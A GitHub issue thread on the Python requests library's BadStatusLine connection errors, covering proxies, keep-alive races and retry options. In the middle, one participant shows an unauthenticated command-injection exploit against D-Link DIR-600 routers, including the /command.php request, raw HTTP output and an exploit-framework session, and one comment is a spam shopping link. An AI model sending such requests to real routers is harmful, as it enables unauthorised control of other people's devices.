ConnectionError: ('Connection aborted.', BadStatusLine(""''''")) on Windows

I am encountering this error when making a PUT request on Windows only, It works fine on *nix.

```
requests.put(
            https://upload.com,
            timeout=None,
            headers={
                 'Content-Length': 28689538, 
                 'Content-Range': 'bytes: 0-28689538/28689538', 
                 'User-Agent': 'test'
            }, data=f)

File "C:\Python27\lib\site-packages\requests\api.py", line 105, in put
    return request('put', url, data=data, **kwargs)
  File "C:\Python27\lib\site-packages\requests\api.py", line 49, in request
    return session.request(method=method, url=url, **kwargs)
  File "C:\Python27\lib\site-packages\requests\sessions.py", line 457, in request
    resp = self.send(prep, **send_kwargs)
  File "C:\Python27\lib\site-packages\requests\sessions.py", line 569, in send
    r = adapter.send(request, **kwargs)
  File "C:\Python27\lib\site-packages\requests\adapters.py", line 408, in send
    raise ConnectionError(err, request=request)
ConnectionError: ('Connection aborted.', BadStatusLine("''",))
```


`BadStatusLine` is an exception coming out of the bowels of `httplib`, and it suggests that the data it receives doesn't make any sense. If I had to guess, I'd say that the obvious error is related to the TLS connection you're making. It would be interesting to see a packet capture (from tcpdump or wireshark) of this.


I usually see this when a proxy terminates a HTTPS connection. It can't
send back headers, because it can't read the encrypted data going back and
forth, so it sends back the empty string "". httplib attempts to parse ""
as "HTTP/1.x <status>" and fails with the above message.

How long did it take to fail?

## 

Kevin Burke
phone: 925.271.7005 | twentymilliseconds.com

On Mon, Dec 1, 2014 at 3:06 PM, Cory Benfield notifications@github.com
wrote:

> BadStatusLine is an exception coming out of the bowels of httplib, and it
> suggests that the data it receives doesn't make any sense. If I had to
> guess, I'd say that the obvious error is related to the TLS connection
> you're making. It would be interesting to see a packet capture (from
> tcpdump or wireshark) of this.
> 
> —
> Reply to this email directly or view it on GitHub
> https://github.com/kennethreitz/requests/issues/2364#issuecomment-65152706
> .


@kevinburke it usually takes about a minute to fail.

I've attached a few screenshots from wireshark. Let me know if a screenshot of something else might be more helpful.

![initial](https://cloud.githubusercontent.com/assets/410872/5265689/49539ce0-7a12-11e4-9fea-fde29204fe43.png)

![exchange](https://cloud.githubusercontent.com/assets/410872/5265696/5426e35c-7a12-11e4-85ee-e26cfc64c9db.png)

Thanks guys


Are there any machine or proxies sittin in between the server and the
client? does the client machine have a default socket timeout configured?

On Tuesday, December 2, 2014, Joe Cabrera notifications@github.com wrote:

> @kevinburke https://github.com/kevinburke it usually takes about a
> minute to fail.
> 
> I've attached a few screenshots from wireshark. Let me know if a
> screenshot of something else might be more helpful.
> 
> [image: initial]
> https://cloud.githubusercontent.com/assets/410872/5265689/49539ce0-7a12-11e4-9fea-fde29204fe43.png
> 
> [image: exchange]
> https://cloud.githubusercontent.com/assets/410872/5265696/5426e35c-7a12-11e4-85ee-e26cfc64c9db.png
> 
> Thanks guys
> 
> —
> Reply to this email directly or view it on GitHub
> https://github.com/kennethreitz/requests/issues/2364#issuecomment-65253593
> .

## 

## 

Kevin Burke
phone: 925.271.7005 | twentymilliseconds.com


@kevinburke there is a NAT sitting between the machine and the server, but no proxy.

I am using a `(1,30)` timeout and my understanding is `requests` overrides whatever the client timeout defaults are.


That's correct. Curious why it's taking a minute to time out if you set the
timeout to 30 seconds.

On Tuesday, December 2, 2014, Joe Cabrera notifications@github.com wrote:

> @kevinburke https://github.com/kevinburke there is a NAT sitting
> between the machine and the server, but no proxy.
> 
> I am using a (1,30) timeout and my understanding is requests overrides
> whatever the client timeout defaults are.
> 
> —
> Reply to this email directly or view it on GitHub
> https://github.com/kennethreitz/requests/issues/2364#issuecomment-65262796
> .

## 

## 

Kevin Burke
phone: 925.271.7005 | twentymilliseconds.com


@kevinburke it could be closer to 30 seconds, however I also make more than 1 request


This error can also occur on Linux too, more descriptive errors messages would be useful for people trying to debug their code.


Yeah :( unfortunately this specific error is thrown by httplib which is in
the standard library. We could rewrap it with a better message maybe

## 

Kevin Burke
phone: 925.271.7005 | twentymilliseconds.com

On Thu, Dec 11, 2014 at 9:10 PM, Joe Cabrera notifications@github.com
wrote:

> This error can also occur on Linux too, more descriptive errors messages
> would be useful for people trying to debug their code.
> 
> —
> Reply to this email directly or view it on GitHub
> https://github.com/kennethreitz/requests/issues/2364#issuecomment-66733026
> .


It's already re-wrapped. We do not (and will not) do exception message introspection. It would be great if we had better messages in the stdlib but trying to get features into httplib is harder than pulling teeth.


Thanks for the help all. I would like to pick up this error with the httplib team, but I'll go ahead and close the issue here for now.


did you guys figure this one out? cc @dongnizh 


This error message can now be replaced with `RemoteDisconnected` see issue [23054](https://bugs.python.org/issue23054)


@greedo Python 3.5 has not been released yet and this is not something we can just _replace_. http.client on Python 3.5 will raise RemoteDisconnected now instead of BadStatusLine (presumably  in only _some_ cases) and that will be wrapped the same way that we currently wrap BadStatusLine.


In my case it was the proxy (environment vars) issue which was causing the issue. `httpretty` was trying to use proxy and it was failing. Disabling my `proxy` by unsetting the environment variables fixed the issue.


I've just hit this issue too in Python requests 2.8.1.

In my case I'm making a large number of periodic https requests to a apache2 server with connection keep-alive timeout 5s. There is a race between the server closing a timed out persistent connection and the client making a request on the same connection. Given a bit of network latency the client can often attempt to send a request on the socket before it gets notified it as been closed.

Given my application (testing an API) I'm going to handle the specific exception that results with a retry or two.


```
~  python -V
Python 2.7.10
```

```
~ python
Python 2.7.10 (default, Oct 23 2015, 19:19:21)
[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import requests;
>>> resp = requests.Session().post('http://192.168.128.159:80/command.php', data='cmd=date +%Y%m%d')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/Library/Python/2.7/site-packages/requests-2.10.0-py2.7.egg/requests/sessions.py", line 518, in post
    return self.request('POST', url, data=data, json=json, **kwargs)
  File "/Library/Python/2.7/site-packages/requests-2.10.0-py2.7.egg/requests/sessions.py", line 475, in request
    resp = self.send(prep, **send_kwargs)
  File "/Library/Python/2.7/site-packages/requests-2.10.0-py2.7.egg/requests/sessions.py", line 585, in send
    r = adapter.send(request, **kwargs)
  File "/Library/Python/2.7/site-packages/requests-2.10.0-py2.7.egg/requests/adapters.py", line 453, in send
    raise ConnectionError(err, request=request)
requests.exceptions.ConnectionError: ('Connection aborted.', BadStatusLine("''",))
```

If **`headers={'Content-Type': 'application/x-www-form-urlencoded'}`** is set, everything goes well.

```
>>> resp = requests.Session().post('http://192.168.128.159:80/command.php', data='cmd=date +%Y%m%d', headers={'Content-Type': 'application/x-www-form-urlencoded'})
>>> resp.text
u'\r\n\r\n20000101\n'
```

---

If you want details, please redirects to https://github.com/open-security/vulnpwn/pull/10

```
vulnpwn [master] ./vulnpwn
vulnpwn > show modules
[*]
[*]     exploits/linux/http/dlink_command_php_unauth_rce
[*]     exploits/multi/http/apache_struts_dmi_rce
[*]
vulnpwn > use exploits/linux/http/dlink_command_php_unauth_rce
vulnpwn (exploits/linux/http/dlink_command_php_unauth_rce) > show options
[*]
[*]     Option     Current Setting  Description
[*]     ---------  ---------------  ---------------------
[*]     TARGETURI  /command.php     target uri to request
[*]     RHOST      192.168.1.1      the target host
[*]     RPORT      80               the target port
[*]
vulnpwn (exploits/linux/http/dlink_command_php_unauth_rce) > set RHOST 192.168.128.159
[*] SET => RHOST = (192.168.128.159)
vulnpwn (exploits/linux/http/dlink_command_php_unauth_rce) > run
[*] Exploiting - http://192.168.128.159:80/command.php
[*] Target is vulnable
vulnpwn (exploits/linux/http/dlink_command_php_unauth_rce) > exit
vulnpwn > exit
```


@join-us Requests does not normally assume that plain text strings are form-encoded data. If you want them to be signaled as form-encoded, you need to pass a dictionary to data: `data={'cmd': 'date +%Y%m%d'}`. Alternatively, as you have done, you can set the header manually.


Note that the _error_ you're encountering is the fault of the remote server, which is closing the connection without sending an error response. It shouldn't do that.


Thanks @Lukasa. **`data={'cmd': 'date +%Y%m%d'}`** fails to receive command results, ex:

```
>>> resp = requests.Session().post('http://192.168.128.159:80/command.php', data='cmd=date +%Y%m%d', headers={'Content-Type': 'application/x-www-form-urlencoded'})
>>> resp.text
u'\r\n\r\n20000101\n'
>>> resp = requests.Session().post('http://192.168.128.159:80/command.php', data={'cmd': 'date +%Y%m%d'}, headers={'Content-Type': 'application/x-www-form-urlencoded'})
>>> resp.text
u'\r\n\r\n'
```


Hrgh.

Whatever web server you're talking to is not very good. You see, requests will percent-encode data when sent using the dictionary form, so that the underlying string ends up looking like this: `'cmd=date+%2B%25Y%25m%25d'`. That's the correct form for data that is form-urlencoded: it's the _urlencode_ part of the thing! However, your server seems to want data that _advertises_ itself as form-urlencoded but _is not_ form-urlencoded. Your best bet, then, is going to be to continue to manually set the header yourself: the web server is just being stupid.


@Lukasa  I've tested this against **`D-LINK DIR-600`** routers

## requests

```
POST /command.php HTTP/1.1
Host: 192.168.128.159
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.10.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

cmd=date+%2B%25Y%25m%25dHTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-600 Ver 2.11
Date: Sat, 01 Jan 2000 14:44:49 GMT
Transfer-Encoding: chunked
Content-Type: text/html

4



0


```

## curl   -- OK

```
POST /command.php HTTP/1.1
Host: 192.168.128.159
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 16
Content-Type: application/x-www-form-urlencoded

cmd=date +%Y%m%dHTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-600 Ver 2.11
Date: Thu, 23 Mar 2000 15:18:23 GMT
Transfer-Encoding: chunked
Content-Type: text/html

d


20000323

0
```


@join-us That provides no new information: curl isn't form encoding your data either. My advice in the previous post stands.


OK, thanks.


I had the same error.
I'm using a SSH tunnel and for some reason with a delay of two seconds after tunnel establishment I could make the request correctly


Hi! 

Just take a look  at this stuff! There are so  many beautiful things here, you  should  visit the store   http://order.aliemresevik.com/e4ieej

Bests, ziney2y


Currently able to reproduce this reliably on Fedora 24 (python2-requests-2.10.0-2.fc24), against multiple Apache httpd web servers. I can even reproduce against localhost with a carefully chosen delay.

Code here: https://github.com/mikem23/keepalive-race


@sigmavirus24 The reason `RemoteDisconnected` exception was added, is so that HTTP clients can safely retry (see [issue 3566](https://bugs.python.org/issue3566)).
Don't you think the right behavior here is adding an automatic retry?

@shoham-stratoscale presuming that the "right behaviour" is an automatic retry, that should be added to urllib3 (which actually handles the error), not requests.

now my turn to try to handle this issue, and I'm trying to do a retry, like the following in my request session object:
```
       requests_retry = Retry(total=10,
             read=2,
             method_whitelist=frozenset(['HEAD', 'GET', 'PUT', 'DELETE', 'OPTIONS', 'TRACE', 'POST'])
        )
        adapter = HTTPAdapter(max_retries=requests_retry)
        self.mount('http://', adapter)
        self.mount('https://', adapter)
```

this actully works, but it open my code to retry on any read error what so ever. I want to make it specifc to this BadStatusLine

section 8.1.4 in https://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html says this:

> A client, server, or proxy MAY close the transport connection at any time. For example, a client might have started to send a new request at the same time that the server has decided to close the "idle" connection. From the server's point of view, the connection is being closed while it was idle, but from the client's point of view, a request is in progress.
> 
> This means that clients, servers, and proxies MUST be able to recover from asynchronous close events. Client software SHOULD reopen the transport connection and retransmit the aborted sequence of requests without user interaction so long as the request sequence is idempotent (see section 9.1.2). Non-idempotent methods or sequences MUST NOT be automatically retried, although user agents MAY offer a human operator the choice of retrying the request(s). Confirmation by user-agent software with semantic understanding of the application MAY substitute for user confirmation. The automatic retry SHOULD NOT be repeated if the second sequence of requests fails.

I want todo this automatic thing listed in the last line, but I think read errors group is a bit too wide to retry on. and in my case I have lots of failures cause by proxies disconnect on keep-alive timeouts in POST calls (i.e. maybe non-idempotent calls)

node.js has this package as a "soultion":
https://www.npmjs.com/package/agentkeepalive

so you can match the client timeouts to the proxies keep alive timeout, i.e. make the client hang-up before them.
but could found a way to achive this in requests/urllib3. 

I've looked into the Retry class thinking of subclassing it for this propose, but maybe i'm missing a better way here ?

@Lukasa what do you think ? is that a good approch ? or i'm wasting my time on such a "nitpick" ? 

also wondering is keep-alive not being used that heavily as I assumed, that people aren't facing this issues, or they aren't keeping long sessions at all ? or again, maybe i'm missing something here ?